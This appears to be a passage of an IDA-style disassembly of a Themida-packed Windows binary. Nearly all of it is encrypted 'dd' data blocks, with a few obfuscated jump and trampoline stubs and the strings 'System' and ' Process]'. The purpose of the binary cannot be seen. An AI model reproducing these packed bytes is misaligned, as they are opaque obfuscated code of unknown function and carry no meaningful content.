dd 0A5510A78h, 3AC6A3F1h, 2CD08905h, 575BF313h, 8F16DD57h
dd 9B759E0Ch, 0A95D0E34h, 55C5B604h, 1EC3CD74h, 0B86ACDF8h
dd 855h, 403EB400h, 0E0ECFFBEh, 48B2D2F1h, 0E71344DAh
dd 0F4E137h, 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h
dd 4F8E735h, 0A0560096h, 895214F2h, 4C281E2h, 83000000h
dd 148704EAh, 24248B24h, 81E28952h, 4C2h, 4EA8100h, 87000000h
dd 895C2414h, 8950243Ch, 405E0h, 42D0000h, 87000000h, 895C2404h
dd 5055242Ch, 364F92B8h, 3436350Ch, 0E8C16630h, 0F7D8F706h
dd 1235D8h, 0C5893752h, 0C55FBF58h, 0EF293DA7h, 2C8B545Dh
dd 4C48124h, 81000000h, 4ECh, 243C8900h, 8B08458Fh, 8952242Ch
dd 4C281E2h, 83000000h, 148704C2h, 3C8B5C24h, 0E0895024h
dd 405h, 40500h, 4870000h, 39E95C24h, 78FFFB8Fh, 0B470EF9Ah
dd 0D42C7131h, 27F09600h
; ---------------------------------------------------------------------------
movsd
loc_5A512D: ; CODE XREF: Themida_:loc_5A4525j
mov eax, 6ADB671h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 528h
dd 5EEF11EAh, 0B81E6002h, 875475B1h, 1DA82F07h, 0D8E97A1Dh
dd 1044303Bh, 32B75072h, 8E7035A9h, 65EC7E6Ch, 82FF1201h
dd 8A5C2420h, 0B97470B6h, 405513E7h, 0F7EF30D6h, 0E3450132h
dd 19F1701Ah, 0A6CA5803h, 3C6B3C80h, 27BD62CEh, 247471ECh
dd 0A1B43B9Dh, 90451498h, 0E83D83h, 39C87A34h, 78E935D3h
dd 0F0A424FAh, 37924AE9h, 298602A2h, 13187E96h, 0E263585Dh
dd 42E9645Fh, 0C3000000h, 450D24h, 57000000h, 434AC51Ch
dd 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
dd 9D8993h, 921DF4C7h, 0DE196063h, 5 dup(0)
dd 0A75E900h, 0FD680000h, 0E906ADB8h, 0FFFAC5C6h, 0ADBA7268h
dd 0C5BCE906h, 7668FFFAh, 0E906ADBBh, 0FFFAC5B2h, 0ADBC0468h
dd 0C5A8E906h, 0E168FFFAh, 0E906ADBCh, 0FFFAC59Eh, 0ADBDBF68h
dd 0C594E906h, 5A68FFFAh, 0E906ADBEh, 0FFFAC58Ah, 0ADC00468h
dd 0C580E906h, 2368FFFAh, 0E906ADC1h, 0FFFAC576h, 4EDC95B4h
dd 0B90D48E5h, 0EF3B7216h, 0DF6B2E44h, 89ED374h, 324EE83h
dd 3757F84Eh, 0E1832C7Ah, 92B112A8h, 0DDF4FDBh, 58EBFFBh
dd 0D84785B6h, 0D80EB5E7h, 58F35AEh, 0A0C82BB6h, 0C55344E9h
dd 9EA103Bh, 7587236Ah, 14C7C0Eh, 0B218901Bh, 8F3B7211h
dd 0EA4E0324h, 547ED79h, 0B605D205h, 0F5BCDCFFh, 508CC21Ch
dd 0F43B65CAh, 0AB1E3A4h, 6A1CAADCh, 4DE6BCB3h, 5E173699h
dd 5C467C8h, 97802D68h, 0AECE08BEh, 4E7BACEAh, 33BEC01Ah
dd 0FF2960BCh, 0D341CAB9h, 3151B268h, 94363C7Ch, 0C35BDEC5h
dd 0DB7494BFh, 35E5CE71h, 8C10DF6h, 67020000h, 1A37982Eh
dd 0C068CB5Fh, 0FC923D89h, 0A1C26DB9h, 0A0D15EECh, 0E9CD172h
dd 72C885A5h, 0ACFAB3D1h, 9D296003h, 71A9D309h, 53B6058Fh
dd 5CFF2E15h, 74178815h, 0FE5EE93Dh, 0F867A145h, 0CAB5FFF5h
dd 6B2E43ACh, 0ED2DD5C6h, 0F3B5FFF5h, 0FFF65149h, 0C61833B5h
dd 2F2F746Dh, 0B5FFF5E7h, 0D5765983h, 0FABB1098h, 77CD0CF8h
dd 47EB14h, 0E73C0000h, 0F7D80EB5h, 13C21C55h, 0C7FF439Eh
dd 0AAD01A9Eh, 3E632A49h, 62BD4BEDh, 20B60053h, 13B5D3F7h
dd 0B6005317h, 75D642EDh, 52B1F5h, 0AC17CDB6h, 4059C68Bh
dd 0A6F2BFDFh, 7A5664CDh, 9D1477AAh, 104h, 3459BAA6h, 0D5782771h
dd 0ED8E179Ch, 0AAE3826Dh, 57D72860h, 58311AAFh, 84A40FDBh
dd 0C06D2845h, 78B1FED7h, 85CC6F30h, 90DD7E61h, 35C01A13h
dd 9ED22542h, 0CB543761h, 0A3A5E1A8h, 0AF585360h, 0DD692043h
dd 9A69A537h, 0F6D267E9h, 9F5EFDA2h, 316AB7F2h, 0E252DB58h
dd 0D01BAD59h, 0B2B60022h, 0B9E70D99h, 230B0Fh, 8CBFF9B6h
dd 6DBACA87h, 7FC86059h, 64066DDh, 0BCAB21AAh, 0ED0BBF98h
dd 802D6002h, 3C7D3E76h, 0DFC8FA29h, 0F399912Bh, 0C06BBCAAh
dd 0EBA6C768h, 0FFB2D43Fh, 553F79B2h, 6B2E44AFh, 881558FAh
dd 0F596199Fh, 0E6470230h, 0F2160F46h, 0EC7F5D57h, 4C897AB9h
dd 8D000007h, 0BC67A3EAh, 0EB54D297h, 1D86044Dh, 4DF63471h
dd 5E25612Ch, 1B56F71Bh, 4F02248Fh, 7D3458FBh, 0AEE78629h
dd 2C5E8C18h, 0B60590ECh, 0FFAB90D6h, 0B2F79B5Eh, 43E24DD9h
dd 456BC0Ah, 3193CFE3h, 4368C015h, 0D80EB5E7h, 901851F7h
dd 0A0C32C4Ah, 0C55344E9h, 4EC03h, 497DD6B6h, 5A19923h
dd 0C863B600h, 3B7B8360h, 57B60005h, 4C01228Dh, 8962B6E7h
dd 0F83E2A28h, 0C0D91477h, 62000000h, 88155CFFh, 0ADDA7617h
dd 0C153ADA8h, 0A2A409E2h, 0AF58305Fh, 0D2682144h, 169BD271h
dd 0E4BE7C8h, 0E5BF1DAAh, 0F8B9D5B9h, 78AE874Dh, 1E57F1D2h
dd 0A6FD4C9Ah, 6CC7B600h, 0B9CF6DDEh, 0A70B0Fh, 655EF9B6h
dd 459A0741h, 0CF68BCABh, 7612FD1Bh, 21B9F23Fh, 0FEC13491h
dd 941B9D53h, 0E208BEF3h, 0AB996058h, 0E28122BCh, 0F214B2ABh
dd 0BCAB98B6h, 8F75A38Ch, 9A4E0324h, 0EC7EB879h, 48C3BC7Fh
dd 89000006h, 0C063A7EEh, 0EF50D693h, 19BA0049h, 49EA3075h
dd 5A216528h, 175AFB17h, 430E3093h, 71385CC7h, 0A2EB8A35h
dd 205A8064h, 0B60591E8h, 0FFB79CDAh, 0B0F99B5Eh, 0BDE043C7h
dd 0FF89B6F4h, 0B2FB9D5Ch, 0A6CB3C6Dh, 0FCA50AE3h, 708A1059h
dd 0AF57D734h, 487EC577h, 58EBB3Eh, 78AE89B6h, 1C51F1D2h
dd 3970139Ch, 0A72342EDh, 58F2565h, 5B341FB6h, 5CE755D6h
dd 95011CAEh, 0E0C3BCADh, 70A9F6B3h, 0BCBC6187h, 0FD3EEC7Ch
dd 5BA04h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
dd 1696145Dh, 9376B2D4h, 0E4CB605h, 3F59BA21h, 0D70901BBh
dd 50FBAF57h, 0B7E13A67h, 0E48445E8h, 571A3CADh, 0CD70317Eh
dd 4D6B0D65h, 0EFD89D39h, 0E47E142h, 175200A1h, 0F1B22B8Ah
dd 0EDB61F62h, 0B80E47E6h, 0DFAF201Ch, 6304EF12h, 0A8812Eh
dd 7F2h, 73DF5500h, 0FA000001h, 57D75EA6h, 44FF5DAFh, 8EDA64A6h
dd 8FA8B605h, 65BB3D5Bh, 90D97CC0h, 0EF1C5046h, 8647E649h
dd 120BA8E5h, 9C07ED39h, 3B6CB1F8h, 5A1332FDh, 0BAE054D5h
dd 18BAF4BCh, 18CEA75Ch, 397C11F2h, 0C507A3F4h, 0B60590C5h
dd 0C20494BFh, 0BCAD96ABh, 0CD0ABE99h, 0F3EC7CBAh, 4DD4F30h
dd 7B1E0000h, 264BF432h, 0DC7C2763h, 80AE1195h, 0BDDE41C5h
dd 8C2DAAF0h, 12A8E586h, 4EDC91B1h, 0B80E47E5h, 0E93D7417h
dd 5D5DEF7Dh, 27B60593h, 5CFF3AE1h, 0ADBEADF4h, 5E375FA8h
dd 642D50D1h, 88C5663Fh, 94D97A2Bh, 42E3C80Fh, 3EE74CB3h
dd 0A95D1437h, 0C76C2946h, 12F842D6h, 67D89DB1h, 892D8BC6h
dd 12DF619Dh, 83CE6F50h, 69AB0D1Eh, 7, 9CDFB2h, 0E7FA0000h
dd 0B2D80EB5h, 8793C51h, 0A8812E6Bh, 8E8DC600h, 0DC77B605h
dd 22A6C52Eh, 58EA098h, 0D0C962B6h, 3E7A8C2Ah, 4B6058Eh
dd 9C078D2Bh, 0A90AB0F9h, 0F152C68Fh, 0A5E88A75h, 0BB00B473h
dd 456BFD0Fh, 0FE59BCB3h, 0D44E7C8h, 3E7716B9h, 3F8428F1h
dd 5F6A718Bh, 0FF58C35Bh, 0CEF308C9h, 58298AE5h, 3FFh
dd 0CA501940h, 581C469h, 73B7FE9Ah, 0A3E7A2D0h, 94125F00h
dd 87A86A0Fh, 0B3D37CCAh, 6507A8FEh, 16359E2Ch, 8953CB5Fh
dd 5943B7Fh, 64C309B6h, 107DFh, 0B5E7FA00h, 55F7D80Eh
dd 1286971Ch, 2741A2C8h, 0C73CCA6Eh, 0BDB6058Eh, 0E88B7492h
dd 9BBA65A1h, 68CC4DD2h, 439537D3h, 1BCB347h, 0DAB3FA9Eh
dd 0E9A0C32Ch, 9253F25Dh, 5FC4BDF0h, 21C57EDEh, 474941FBh
dd 103BBCB3h, 21285298h, 0E3C35B61h, 19D198C0h, 0F2B30EC3h
dd 70A88170h, 0E5CED5ABh, 6475CEEDh, 0A5000003h, 0D47FCB82h
dd 3ACFABFh, 359E2C65h, 65CE5C19h, 0B63D89C4h, 236E0F03h
dd 571A3CE7h, 85CC70D3h, 0B6FF9E01h, 0D476F470h, 0B60594D4h
dd 0FFC368AEh, 1788155Ch, 26893D74h, 0ECA1C104h, 0BCF192F3h
dd 0A3088F7Ch, 1158FB02h, 87C16F95h, 0AF57D783h, 0BE1CD641h
dd 5F7BC16h, 0AA861286h, 6512DFC6h, 3091D47Ah, 0CDDE430Eh
dd 32A96Bh, 39B30000h, 0F605D355h, 81385BEh, 0D80EB5E7h
dd 2715AEh, 0A644EFB6h, 0D4521B3Dh, 0E9A4C52Eh, 277EB94Fh
dd 625B600h, 3058FB4Fh, 0C44B3479h, 6E000002h, 0F6145DFFh
dd 0F825600Dh, 99A09AFh, 3CE7236Ah, 17D35019h, 6CD7EEC5h
dd 0BE6CE9CDh, 58040C0Ch, 0DB5DF6AFh, 22783154h, 5A803B99h
dd 22BD20h, 9A05A3B6h, 1008B2FBh, 0F2B60023h, 631DF59h
dd 23555199h, 9A71B600h, 9E2D1919h, 55C81477h, 92000000h
dd 0DE5A1331h, 0EA1CBAD5h, 0AF57D6AEh, 5F123394h, 0C7753266h
dd 0E13C4E7Ch, 0A3B60004h, 5070345h, 52FDB600h, 0E5274D79h
dd 0B60005A5h, 8764B49Fh, 9DD4785Bh, 57910710h, 0B600064Fh
dd 131F806Bh, 1477F927h, 0CAC6h, 0C8729800h, 0B60011D0h
dd 141F99B2h, 88155CFFh, 8F3B7617h, 0A89FAA4Dh, 0AD0BB86Ch
dd 8FC6653Eh, 23E28122h, 0B2EB4801h, 34793C51h, 4ABC0AE3h
dd 0AF583947h, 2A70395Ch, 7EA3EA89h, 82C1FBDh, 0F2BFE041h
dd 305BED19h, 12B60049h, 0FA5AED39h, 3663A541h
dd 0CBCAAEBh, 7B1C8723h, 2E4FF036h, 66704563h, 8122EC7Fh
dd 1BA00h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
dd 1696145Dh, 9776B2D4h, 0E4CB605h, 135EFF21h, 256C0CF7h
dd 8309AFF8h, 8D8D3F65h, 77AF57D7h, 0B0D35CDCh, 557BA234h
dd 0C85429FBh, 58990A0Eh, 0EE5FF8AFh, 8F980540h, 0BA2B1096h
dd 23753859h, 5F8B3064h, 4D22Dh, 6D0FB0B6h, 58C58CACh
dd 16B0564Fh, 0B6000512h, 0B86E47F0h, 3A7E3B57h, 0D5779D49h
dd 0B60004D5h, 0D21484AFh, 0B60004D2h, 0D09C05EEh, 51810AAh
dd 41EAB600h, 0F85743D7h, 0B3B61477h, 89000000h, 88155CFFh
dd 0F63B7617h, 57DB2D74h, 9ED776AFh, 0D63FEE68h, 9AC5FB3Fh
dd 654EB41Eh, 2F598DC8h, 0AF5826EBh, 753A7ED9h, 89129FD6h
dd 0D06A902Bh, 0B60036A9h, 0C00AB09Bh, 0B82B402Bh, 6BD147C7h
dd 23C77CD0h, 0AAC55199h, 0EF9033BCh, 2CD5443h, 8C65D4D6h
dd 0E91DF627h, 0F2286506h, 0C6EA9878h, 3C7CB2DDh, 14CED56h
dd 8016F8E7h, 4C35F6ECh, 9Bh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
dd 783C66Ch, 70B6FB9Ch, 2B4CC6EBh, 0DF7F2066h, 89AB1492h
dd 0BAD97AC0h, 3537B7F3h, 5989793h, 2F6DB6h, 97135EFFh
dd 0A4C8092Ch, 7E5740EDh, 5CFF0328h, 74178815h, 0FE5EE93Dh
dd 0C17BA145h, 0AF57D6C9h, 0D21890BBh, 58F16A8h, 0DE43ECB6h
dd 0CBB8F600h, 0B9771AA6h, 12AB6421h, 991F9A80h, 0E83E7716h
dd 0C06D2447h, 0A6396206h, 199A73F9h, 0EC3A7312h, 0C4692043h
dd 2D72375Bh, 1920812Ah, 4CF7337Ah, 42C36029h, 3, 0FFCBB065h
dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 12B968h
dd 243C8900h, 446F68h, 24148900h, 81E68956h, 4C6h, 4EE8300h
dd 5C243487h, 55243C89h, 0ADB84BBDh, 2C815506h, 0E13F8C24h
dd 0C2815A27h, 27E13F8Ch, 3C8B545Dh, 4C48324h, 88B95152h
dd 29766F73h, 5904244Ch, 8108478Fh, 73880847h, 3C8B766Fh
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch
dd 4C4815Ah, 0E9000000h, 0FFFABB66h, 0CB1D1EB6h, 1434CE13h
dd 0B852F287h, 6ADC1E3h, 0E0FFC503h, 593F15E3h, 4CA2D1D3h
dd 1B179E4Ch, 67258F12h, 0F0A002Fh, 704694F2h, 11D9854Ah
dd 0EF74790h, 0ACEBC55h, 6A12EBF3h, 7A27794Bh, 1F3AF2C8h
dd 18750392h, 71430DA2h, 0C3678D8Dh, 830F06ADh, 6, 2651B58Bh
dd 8D8906A8h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0DCC35545h, 0B35497CCh, 6985C723h, 1406A814h
dd 6A000063h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 1A4BC357h, 85BBC6C1h, 0C76CB401h
dd 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 60E27FE9h, 59D4D36Bh
dd 0CB818A90h, 56123550h, 26199509h, 0B5FF06A8h, 6A80915h
dd 90901BAh, 0DD95FF34h, 8906A820h, 0A80CBDBDh, 0FF006A06h
dd 0A81B3195h, 0EBC08B06h, 5821825Fh, 55413ACFh, 973CE4AAh
dd 0DBB3EC84h, 0E2382373h, 7679B713h, 0D2C78BCh, 0CB3B16FBh
dd 5D387441h, 23F9FB6Eh, 3429E2BEh, 1CB1A629h, 0D8E0D0DEh
dd 0D5383C77h, 389BC21Ch, 4A41C9AAh, 97A3EA8Dh, 644FA055h
dd 0A3713E91h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h
dd 956493F3h, 0C4E48D8Dh, 6A06ADh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 9453EAC3h, 60DF6F66h
dd 0B358D89h, 816606A8h, 6148F3F1h, 0E2C0DE81h, 8D8948F7h
dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0CCC35141h, 595C529Bh, 8D897608h, 6A81C19h, 146985C7h
dd 64E806A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0C35280C3h, 0DCD5784Bh, 0FD98B94h
dd 68Dh, 0F1858900h, 3306A808h, 0A8344985h, 0BD85C706h
dd 6A80Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0D8D5C353h, 0AD53B9D2h, 0D59D8BE6h
dd 0FF06A81Bh, 0A82A11B5h, 0D9BF0F06h, 20DD95FFh, 6A06A8h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 523CB1C3h, 2D8C4B47h, 2C71B589h, 6A06A8h, 1B3195FFh
dd 0C08B06A8h, 10F40DEBh, 75F39FECh, 4038A100h, 0E94645F2h
dd 15Eh, 3CC3347Dh, 86AB6EECh, 4E574A9Ah, 98A5EB4h, 508150B9h
dd 98250B9h, 50895E33h, 39A277CFh, 50F022A6h, 0D20B7618h
dd 9E0FC264h, 50B7B098h, 50C613DDh, 128h, 0
dd 4, 2 dup(0)
dd 2Fh, 0
dd 8, 0
aSystem_0 db 'System',0
aProcess db ' Process]',0
align 4
dd 3Ch dup(0)
dd 0F8E90000h, 68000016h, 6ADC823h, 0FB7FE3E9h, 0C94568FFh
dd 0D9E906ADh, 68FFFB7Fh, 6ADCA1Eh, 0FB7FCFE9h, 0CB0068FFh
dd 0C5E906ADh, 68FFFB7Fh, 6ADCC9Ch, 0FB7FBBE9h, 0CDC168FFh
dd 0B1E906ADh, 68FFFB7Fh, 6ADCE77h, 0FB7FA7E9h, 0CF4168FFh
dd 9DE906ADh, 68FFFB7Fh, 6ADD193h, 0FB7F93E9h, 0D28768FFh
dd 89E906ADh, 68FFFB7Fh, 6ADD344h, 0FB7F7FE9h, 0D3D168FFh
dd 75E906ADh, 68FFFB7Fh, 6ADD57Dh, 0FB7F6BE9h, 0DAE268FFh
dd 61E906ADh, 68FFFB7Fh, 6ADDBF9h, 0FB7F57E9h, 44BE26FFh
dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 38EF0767h
dd 6DAA580Ch, 5EB9D232h, 0C628D92Dh, 5EA1FEAEh, 45D9B8EBh
dd 0CF7084F7h, 0D958A4C3h, 2E08F1B4h, 2C8A253Dh, 33C9F22h
dd 0F9C016E3h, 0DA48DB5Bh, 0F9EB8828h, 319E32A7h, 1F27B9DFh
dd 45A556h, 0E58A0000h, 6181BEFCh, 5BF9E258h, 23DD8B07h
dd 2A5C2E73h, 3BC65DDCh, 2D5A56BAh, 0CD410AD1h, 6298C0B2h
dd 0C2D01383h, 3DF5EA8h, 0A7F649EFh, 9DEAA555h, 34207F66h
dd 6F2EBDF9h, 1F06ED0Bh, 0D8F156h, 0D25E0000h, 4BD94DB9h
dd 7284F61Fh, 0C9E01A0h, 839CDBEh, 1B24DE8Ah, 0A1FE53FBh
dd 4871E5Eh, 0A3570096h, 0F9FBE002h, 0F4E75EA1h, 0AC226300h
dd 0F84ACD39h, 22AB7B8Fh, 397A87C5h, 6634C0B5h, 0C79E40C3h
dd 0F0A40606h, 60890CB1h, 0CFE61D22h, 479F44EBh, 0F214EDACh
dd 0A2AF1AF2h, 0D7DB64BFh, 55B051ABh, 892C2A9Fh, 1E7F3EF8h
dd 9FFE9E5h, 0B64C3486h, 8FF1ECD4h, 35980A3Fh, 14A9h, 56778DF1h
dd 0E3807660h, 6F0CF0EFh, 0F1926E1Bh, 7E1FE59Dh, 0FBE797DFh
dd 706E5C01h, 0EC99ED8Eh, 54077B18h, 0BEC103A0h, 0C36305Ch
dd 1D347D58h, 0EE76139Fh, 20643EDFh, 9514F78Eh, 2243B921h
dd 32CF3BACh, 0DD5FC7BCh, 0EE81467Ah, 0FE23F352h, 8A5D517Bh
dd 5CDF79ECh, 0FCE5E83Fh, 586181BEh, 75BF9E2h, 2C08A4C6h
dd 0DA45A7F6h, 1E8C7268h, 1A85189Bh, 2C3A5688h, 0F080A7F6h
dd 767A8DFh, 0A7F62CEFh, 0DEB87BAAh, 561EE0B8h, 0DBA6h
dd 139F8B00h, 0BA088B75h, 0D36135C1h, 6D94DB7h, 0FE09A5C5h
dd 0DD445EA1h, 0F927845Ah, 0A8C35EA1h, 88063F5Ch, 39782AD0h
dd 6793C476h, 0EBA956B7h, 1293456h, 88AA406h, 0AFD9AD51h
dd 8564C559h, 6D3CA5E0h, 13738C78h, 0A7F60AFBh, 738C6FB6h
dd 0AA4D032h, 0AEF1A7F6h, 0DDD112EFh, 68C95DABh, 804279A9h
dd 0F033A2AFh, 0CE27434Fh, 86E86F93h, 8CB3D1D1h, 0DFE08564h
dd 2359B6D3h, 9E849DDh, 21951495h, 11E343B9h, 373F8E5Bh
dd 138728A5h, 0EF970000h, 68027015h, 0D289FD9Eh, 40398D2Eh
dd 3FAB1FBCh, 7105A0C5h, 8A2BD189h, 13B04E34h, 993ACEBFh
dd 2546B225h, 1EB6D81Fh, 5B580C37h, 139FE3DEh, 99188A76h
dd 0C63CA416h, 52A6D1A5h, 0AFCF1031h, 5EA1FE07h, 4150D352h
dd 0D94DB9D2h, 0C7E4104Bh, 0B54930BEh, 0C83453E1h, 8674D75Ah
dd 0D06225D9h, 71C757ABh, 22D1F206h, 1630D9B7h, 0E9AB90Dh
dd 0C976D9ACh, 0F9835CA9h, 6186195Bh, 0C9355220h, 9C799846h
dd 0C522F44Fh, 4D187A87h, 6E5A3421h, 0F9E66737h, 5ECC32A8h
dd 79A1CDBh, 0A5987A0Dh, 44DD3DC2h, 69A0D1C5h, 0DD850936h
dd 0B4217727h, 451AE140h, 0F3CBF26Dh, 666C9514h, 0A3DC8175h
dd 0F76D4458h, 3BFA7645h, 4624D08Bh, 3958FE86h, 0AED322B0h
dd 0CC000012h, 75496A90h, 0E2D0F503h, 66547985h, 90E6877Bh
dd 0CA7112E8h, 7A80F8A2h, 817F6559h, 0BFFEEDCh, 9763146Ah
dd 6989CEF6h, 580C34CDh, 0D2100F88h, 7CD94DB9h, 0D530D193h
dd 885DFACEh, 8CA63FA6h, 92482111h, 4E8F7033h, 23E21840h
dd 0F94576FFh, 0C3E0435Bh, 0BD540C82h, 0C8693DCBh, 7967B569h
dd 0D1652487h, 21AD52A6h, 57C746BAh, 0B64B09F6h, 0EAB84E38h
dd 0DB3BC447h, 0A2A5E2A8h, 34758A15h, 693DC1BEh, 82F549C8h
dd 76615576h, 4CB51082h, 1E91F10Eh, 4DA9572Ah, 3042EA0Ch
dd 9E57B55Dh, 5BFC29B7h, 4B22702Fh, 0C65DDCBFh, 0B6B5E101h
dd 0A100B55Dh, 0DA8D013Eh, 4E398D2Eh, 9B17E8BAh, 0A9110ECh
dd 5192AFEDh, 49DD2B5Dh, 6CF929E8h, 49B005BFh, 0FFEE74D6h
dd 5AC82877h, 11CCFBh, 48B2D200h, 0D325572Bh, 5BA7DCB2h
dd 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh, 5B2F4CB6h, 0DCB2D32Dh
dd 4A385DA9h, 0BCC0E511h, 35F31B7Bh, 71BE580Ch, 4CB6D25Eh
dd 0D2836C2Fh, 5DDC4EB8h, 982545FAh, 0D55BF9EBh, 4239B54Ah
dd 0CA4DECBEh, 3B91CA58h, 0F615B3DBh, 0D27A9CA7h, 9FA7F615h
dd 0A7069904h, 5ABCFD06h, 0A7F61532h, 0D165247Fh, 42EA0CA6h
dd 0FA7F615h, 0A8395194h, 69B8868Eh, 48B11486h, 80F9F50Ah
dd 2244BD7Ch, 0A2AE3CF3h, 0B3DB3BBCh, 0FEAC0E4Eh, 0B73BC4A7h
dd 0BD3732C6h, 0DDD136BDh, 0E0138302h, 0D285BF10h, 0D9068526h
dd 7A28DE88h, 4BAB5437h, 0A956CF32h, 0B345377Fh, 9BCC42D0h
dd 0B7CFBF6Fh, 0AEEC1518h, 0E4D47191h, 7EA1B7FEh, 33AE245Dh
dd 8DFE4CCFh, 0D77BA579h, 74BBFF14h, 0A6D1EBA4h, 1442EA0Ch
dd 940FBBFFh, 0D343B726h, 0F8CEEF4Eh, 0BFC67B8Fh, 734D2F9Ah
dd 0C95DDCE6h, 0D8BFCF36h, 0F9B20A08h, 0B3870472h, 0C8F7160h
dd 1D226089h, 0A7F8ACFDh, 6D0E91BEh, 5BF31354h, 16801400h
dd 11610C8Fh, 0CE7650B9h, 0F33D05BCh, 0B0D26FCEh, 85485A27h
dd 90F4974h, 96B82194h, 0DE41BD24h, 0D18A0839h, 0A8D06225h
dd 2F56AD52h, 2BEC6478h, 30D240C3h, 86A9AF80h, 0E00C6EAFh
dd 0AD86A9AFh, 0CB34B372h, 0FD167889h, 0BE83F5EAh, 0A3D4DA67h
dd 17403657h, 22B033E3h, 4BEEBC46h, 0E70E7AC8h, 0F9200F4h
dd 726490F2h, 0EE318FFBh, 5EBBAF0Fh, 0FF6D1C79h, 103096h
dd 0EC164E00h, 7781FBCFh, 877B6056h, 15E990E6h, 9C660270h
dd 66185CFFh, 0EFE3807Ah, 186E0FF1h, 86F4996Dh, 407C21D5h
dd 32B7DF3Fh, 0B502580Ch, 4CB6D29Ah, 123548B3h, 0B1C41E86h
dd 4E398DEEh, 444FDFDEh, 66C9943Ah, 817566B4h, 58A5E2Dh
dd 0A5D13172h, 0F05EA191h, 583BC7A2h, 867265D9h, 7E2345E5h
dd 320B5CC7h, 14000001h, 0D94DB9D2h, 0C7E4104Bh, 8B3D1BC4h
dd 680A30B1h, 0A9C976D9h, 5BF9E150h, 0EE10821Dh, 0A7F60D42h
dd 997758F8h, 561F067Fh, 3B6Fh, 0FCE5B000h, 724081BEh
dd 0F839ED19h, 0E220E939h, 0B2ED5BF9h, 2D923EE0h, 8BF0A7F6h
dd 3A5CA777h, 0A7F62D92h, 87F644DFh, 1CACA373h, 40F09AB3h
dd 0E187A14Fh, 9F97561Eh, 0B8000000h, 0D94DB9D2h, 31E51F4Bh
dd 0AE7C88E3h, 0FA9B6F18h, 0A1F903E8h, 788CFF5Eh, 0F5B7505Bh
dd 899F2A4Ch, 41E0A407h, 14737F80h, 936F1AE8h, 0AF1F9E03h
dd 0CD38C933h, 207A0D2Dh, 9ADE9776h, 753DC269h, 1C721392h
dd 1A3C9E64h, 0EC3476FDh, 0F0B177Eh, 73130000h, 0E496E489h
dd 661D7112h, 0DC85F99Ah, 530F8320h, 0D6104A9h, 0EE8F756Dh
dd 7F1CE298h, 5A6520Bh, 9132C6B1h, 0A2CA2C73h, 0EF580C33h
dd 0B6D28FA2h, 0EF162F4Ch, 0C5BC3378h, 67FF3239h, 42358908h
dd 1EF8A9D2h, 3C9F994Ch, 0B9D2889Fh, 7BDA2C5Eh, 856215ABh
dd 307125D3h, 2D5E2C51h, 27C045D9h, 83BADC65h, 0EC5BF9E9h
dd 0A9D10B5h, 7C000008h, 32F50976h, 78139F23h, 0C1B90D8Ch
dd 19B96B3Bh, 4C5EA1FEh, 3E20E1A3h, 5BFDBB9Dh, 48AB7EEh
dd 36CCB453h
dd 17403657h, 85FD33E3h, 0C595C121h, 52E0A7F3h, 886BCA34h
dd 71E91A2Ah, 0E76EFC34h, 0E55h, 0A2C339A5h, 2F4CBA2Ch
dd 0B3D02C5Bh, 3D5EA2DFh, 0CAEB1149h, 37534B23h, 0ACDAA8CDh
dd 285D3152h, 90CBBFDCh, 0FA3D4764h, 0C307C98h, 0C1F03958h
dd 2F4CB6D2h, 19ED9816h, 0FB1B2485h, 5EA1FE53h, 0B604871Eh
dd 1B2255C5h, 0FDF92A79h, 413A881Ah, 52C03AA6h, 0A9BE6CCFh
dd 0E982B817h, 3C47781Dh, 881230A1h, 0BED85B19h, 5CC71098h
dd 0D86h, 67BEAB00h, 6C5EA207h, 0FFFE13A1h, 12BECEFFh
dd 475EA1FEh, 0C727D89Ah, 5BFDBBBCh, 9C385A9Bh, 0D9A7F3C5h
dd 0DA58C746h, 4CF554AEh, 0C543EB0Bh, 970EA7F3h, 0F4E7EB14h
dd 7C6F6300h, 0B312EE9Bh, 0BFDFE0E3h, 0A7F3C517h, 0F240C362h
dd 788E6C96h, 0AE3471E9h, 0D8BD13Ch, 0F3930000h, 64166409h
dd 0E69DF192h, 5C05791Ah, 0D38F03A0h, 8DE18429h, 6E0FF5EDh
dd 0FF9C6218h, 8526D28Bh, 11B24631h, 224AACF3h, 6F580C31h
dd 0B9D20F22h, 104BD94Dh, 6F2136E4h, 86611A20h, 0B04A36D9h
dd 4EDCBFE2h, 4C5F6CEBh, 7D22CEE8h, 7269659Ah, 0DD06AED0h
dd 0D0535EA1h, 8E7CBD71h, 96A2DD1h, 0C7324761h, 2E575Ch
dd 9FF80000h, 0E49D7A13h, 44278A18h, 7801DC5h, 70915EA2h
dd 0BA7CF2Fh, 0B3F2A15Eh, 0D958A4C3h, 0FFFD375Ah, 4E39B5FFh
